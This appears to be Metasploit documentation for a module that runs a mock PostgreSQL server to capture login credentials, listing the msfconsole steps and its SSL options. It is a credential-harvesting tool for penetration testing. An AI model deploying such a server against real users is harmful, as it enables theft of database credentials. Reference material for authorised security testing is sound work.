This module creates a mock PostgreSQL server which accepts credentials.  Upon receiving a login attempt, a
`FATAL:  password authentication failed for user` error is thrown.

## Verification Steps

  1. Start msfconsole
  2. Do: ```use auxiliary/server/capture/postgresql```
  3. Do: ```run```

## Options

  **SSL**

  Boolean if SSL should be used.  Default is `False`.

  **SSLCert**

  File path to a combined Private Key and Certificate file.  If not provided, a certificate will be automatically
  generated.  Default is null.
